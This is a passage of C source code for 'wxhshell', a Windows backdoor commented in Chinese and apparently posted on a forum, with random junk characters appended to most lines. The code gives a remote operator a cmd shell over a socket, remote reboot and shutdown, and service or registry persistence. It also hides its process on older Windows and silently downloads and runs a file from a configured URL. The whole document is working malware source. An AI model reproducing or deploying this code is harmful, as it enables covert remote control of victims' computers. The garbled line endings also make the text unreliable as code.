    switch(cmd[0]) { K`&oC8p  
  CQ7{1,?2  
  // 帮助 {%)s.5Pfw  
  case '?': { +:=(#Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "]'?a$\ky:  
    break; ~0$NJrUy  
  } _EnwME {@  
  // 安装 HD,xY4q&N  
  case 'i': { # ?1Sm/5k`  
    if(Install()) mE O \r|A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uJx"W  
    else )M=ioE8`h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3<=,1 cU  
    break; %+ 7p lM  
    } ]$afC!Z  
  // 卸载 iUMY!eqp  
  case 'r': { ,y4I[[  
    if(Uninstall()) 5Dp#u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a8u 9aEB  
    else }7fZ[J3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o)6pA^+  
    break; )}Q(Tl\$  
    } 6-`|:[Q~  
  // 显示 wxhshell 所在路径 V$0dtvGvH  
  case 'p': { T@}|zDC#  
    char svExeFile[MAX_PATH]; IJTtqo  
    strcpy(svExeFile,"\n\r"); Z nFi<@UB)  
      strcat(svExeFile,ExeFile); ,h|qi[7  
        send(wsh,svExeFile,strlen(svExeFile),0); &<zd.~N"  
    break; AE: Z+rM*  
    } 3X9b2RY*L/  
  // 重启 pZ`|iLNl-  
  case 'b': { ly% F."v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tg^sCxz9]  
    if(Boot(REBOOT)) wB'zuPAK6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8x`.26p  
    else { y"]n:M:(  
    closesocket(wsh); B1]bRxwn?  
    ExitThread(0); dd2[yKC`  
    } HM>lg`S  
    break; ?!qY,9lhH  
    } '` 'GK&)  
  // 关机 ~['Kgh_;  
  case 'd': { zf3v5Hk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y*_)h\f  
    if(Boot(SHUTDOWN)) 'B+ ' (f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NM)k/?fA  
    else { m*e{\)rd#  
    closesocket(wsh); I ZQHu h  
    ExitThread(0); kw2T>  
    } .^J2.>.  
    break; :JlP[I  
    } 5SCKP<rb  
  // 获取shell q2HYiH^L  
  case 's': { QMv@:Eo  
    CmdShell(wsh); 8* Jw0mSw  
    closesocket(wsh); P%K4[c W~  
    ExitThread(0); ZiLj=bh  
    break; Dk48@`l2  
  } 8p[)MiC5W^  
  // 退出 ){jl a,[  
  case 'x': { x@8a''  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NnVnUgx  
    CloseIt(wsh); fNGZo  
    break; tHLrhH<w  
    } Z`YJBcXR  
  // 离开 .k,YlFvj  
  case 'q': { w3jO6*_ M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k4 F"'N   
    closesocket(wsh); N&@}/wzZ  
    WSACleanup(); A$6$,h  
    exit(1); !ct4;.2 D  
    break; 7gRgOzWfV  
        } )>BHL3@  
  } :6$>_m=i  
  } n]he-NHP  
nS>8bub30  
  // 提示信息 b86}% FM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y(K" -?  
} O$4yAaD X  
  } HV<Lf 6gE  
6Aocm R0D'  
  return; Y))NK'B5  
} s.8{5jVG  
8V~vXnkM  
// shell模块句柄 &c1A*Pl/:G  
int CmdShell(SOCKET sock) &r:7g%{n  
{ sJNFFOz  
STARTUPINFO si; orb_"Qw  
ZeroMemory(&si,sizeof(si)); 0wS+++n$5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '(/7[tJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u]OW8rc  
PROCESS_INFORMATION ProcessInfo; 3do)Vg4  
char cmdline[]="cmd"; 1)Zf3Y8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kv~U6_=1O  
  return 0; zP<pEI  
} J`2"KzR0w"  
^Ox3XC  
// 自身启动模式 ~y7jCcd`  
int StartFromService(void) $q 2D+_  
{ Vx-7\NB  
typedef struct \QB;Ja _  
{ ZK)%l~J  
  DWORD ExitStatus; I|Gp$ uq _  
  DWORD PebBaseAddress; 2PG [7u^  
  DWORD AffinityMask; xMBaVlEN  
  DWORD BasePriority; <m'ow  
  ULONG UniqueProcessId; b5^OQH{v  
  ULONG InheritedFromUniqueProcessId; 8,uB8C9  
}   PROCESS_BASIC_INFORMATION; mml z&h  
G%Lt.?m[  
PROCNTQSIP NtQueryInformationProcess; N;[>,0&z  
fj&i63?e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a`0=AQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YX#-nyK  
9VbOQ{8  
  HANDLE             hProcess; gmm.{%1_I;  
  PROCESS_BASIC_INFORMATION pbi; XO'l Nb.  
Ot`VR&}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FLY Ca  
  if(NULL == hInst ) return 0; J4\qEO  
.c$316  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QMZ)-ty"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QeK*j/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9`9R!=NM  
M8TSt\  
  if (!NtQueryInformationProcess) return 0; 28=O03q  
7>~5jYP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9 '2_  
  if(!hProcess) return 0; RH|XxH*  
C7O6qpO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &%/7E_j7  
k%G1i-] 4  
  CloseHandle(hProcess); q?ix$nKOv  
zi3\63D3eO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \oZ5JoO  
if(hProcess==NULL) return 0; L~KM=[cn  
=3v]gOcO  
HMODULE hMod; >_LDMs[-p  
char procName[255]; ?pza G{  
unsigned long cbNeeded; ,#kIr  
&kpwo )  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #KiRfx4G  
E^ SH\5B  
  CloseHandle(hProcess); 3F<VH  
cx0*X*  
if(strstr(procName,"services")) return 1; // 以服务启动 v 7x:dcV  
AoI/n4T^  
  return 0; // 注册表启动 pLzk   
} HC}YY2  
@Rw!'T  
// 主模块 9\DQ>V TQ  
int StartWxhshell(LPSTR lpCmdLine) _zwUE  
{ `{xNXH]@  
  SOCKET wsl; wg]j+r@  
BOOL val=TRUE; \R;`zuv   
  int port=0; 6}oXP_0U  
  struct sockaddr_in door; G"XVn~]  
>#y^;/bb  
  if(wscfg.ws_autoins) Install(); [bk?!0]aV  
: 7`[$<~E  
port=atoi(lpCmdLine); +@/"%9w  
X<%Q"2hW  
if(port<=0) port=wscfg.ws_port; '&|=0TDd+  
A`}rqhU.{-  
  WSADATA data; ^~A>8CQOU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; byfJy^8G  
E!P yL>){  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aWY gR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \9g+^vQg  
  door.sin_family = AF_INET; ;h jwD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y)@[Sl>  
  door.sin_port = htons(port); `u&Zrdr,  
ixT:)|'i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mA=i)Ga  
closesocket(wsl); Uh):b%bS;J  
return 1; oT>(V]*5  
} | ]X  
O|M{-)  
  if(listen(wsl,2) == INVALID_SOCKET) { H"dJ6  
closesocket(wsl); y`XU~B)J1  
return 1; x" L20}  
} PJL=$gBgKk  
  Wxhshell(wsl); AQ[GO6$,%H  
  WSACleanup(); X'qU*Eo  
tyqT  
return 0; +P`*kj-P\  
7w6cwHrL@  
} csW43&  
PIwFF}<(  
// 以NT服务方式启动 Tap.5jHL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <t \H^H!  
{ u;/ Vyu  
DWORD   status = 0; DuHu\>f<S  
  DWORD   specificError = 0xfffffff; D,k"PaLP  
7M<'/s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mh{1*T$fP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T, )__h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "\o+v|;  
  serviceStatus.dwWin32ExitCode     = 0; h* u  
  serviceStatus.dwServiceSpecificExitCode = 0; 0p}D(m2B  
  serviceStatus.dwCheckPoint       = 0; ikv Wh<=>H  
  serviceStatus.dwWaitHint       = 0; =t H:,SH  
GfmI<{da  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2vWx)Drb6  
  if (hServiceStatusHandle==0) return; 3GhRWB-U  
KQg]0y d  
status = GetLastError(); f m)pulz  
  if (status!=NO_ERROR) UZJCvfi  
{ J2xw) +  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E4~<V=2l  
    serviceStatus.dwCheckPoint       = 0; 42(Lb'G  
    serviceStatus.dwWaitHint       = 0; ^5h]Y;tx  
    serviceStatus.dwWin32ExitCode     = status; + |#O@k  
    serviceStatus.dwServiceSpecificExitCode = specificError; n T{3o;A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D)m5  
    return; |6K+E6H  
  } :<bB?N(  
-v]Sr33L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1Y7Eajt-5  
  serviceStatus.dwCheckPoint       = 0; iiS-9>]/  
  serviceStatus.dwWaitHint       = 0; P;qN(2L/=<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IpcNuZo9&  
} $+Z)  
W"}M1o  
// 处理NT服务事件,比如:启动、停止 jw^<IMAG\8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wp!%-vzy&  
{ LIvFx|  
switch(fdwControl) pgQV/6  
{ QD:{U8YbF$  
case SERVICE_CONTROL_STOP: odjT:Vr  
  serviceStatus.dwWin32ExitCode = 0; [BqHx5Xz(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }dWq=)*  
  serviceStatus.dwCheckPoint   = 0; b`~p.c%(  
  serviceStatus.dwWaitHint     = 0; P(,p'I;j  
  { 7b;I+q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LSGBq  
  } 8&?s#5zA  
  return; {MCi<7j<?  
case SERVICE_CONTROL_PAUSE: X.f>'0i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ][9%Kl*%@p  
  break; {f2S/$q  
case SERVICE_CONTROL_CONTINUE: T"E6y"D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {B?Wu3-  
  break; <UV1!2nv*  
case SERVICE_CONTROL_INTERROGATE: QxVq^H  
  break; rvbLyv;~  
}; \]2]/=2tLd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Q96,rb}k;  
} u'|4?"uz  
M<.d8?p )  
// 标准应用程序主函数 cDFO;Dr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j/r]wd"aUS  
{ A+"ia1p,}  
UEM(@zD]  
// 获取操作系统版本 toya fHf  
OsIsNt=GetOsVer(); )z73-M V"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )Ch2E|C?=8  
u09:Z{tL;@  
  // 从命令行安装 b&~4t/Vq  
  if(strpbrk(lpCmdLine,"iI")) Install(); z(_Ss@ $  
'=nQ$/!q  
  // 下载执行文件 w)kNkD  
if(wscfg.ws_downexe) { Tx|Ir+f6L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2 Ga7$q  
  WinExec(wscfg.ws_filenam,SW_HIDE); @z4*.S&tz  
} 6:Ch^c+IZ  
5iz{op<$,  
if(!OsIsNt) { wkA+j9.  
// 如果时win9x,隐藏进程并且设置为注册表启动 >/kc dWl  
HideProc();  -xSA  
StartWxhshell(lpCmdLine); B_nVP  
} Hv sob  
else M=F xB;v  
  if(StartFromService()) !;i`PPRwk  
  // 以服务方式启动 lef2X1w}!  
  StartServiceCtrlDispatcher(DispatchTable); 5R@  
else Co (.:z~  
  // 普通方式启动 Z:,U]Z(  
  StartWxhshell(lpCmdLine); HJXT9;w  
y#Fv+`YDl  
return 0; 6x h:/j3  
}
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只看该作者 1 发表于: 2006-10-10
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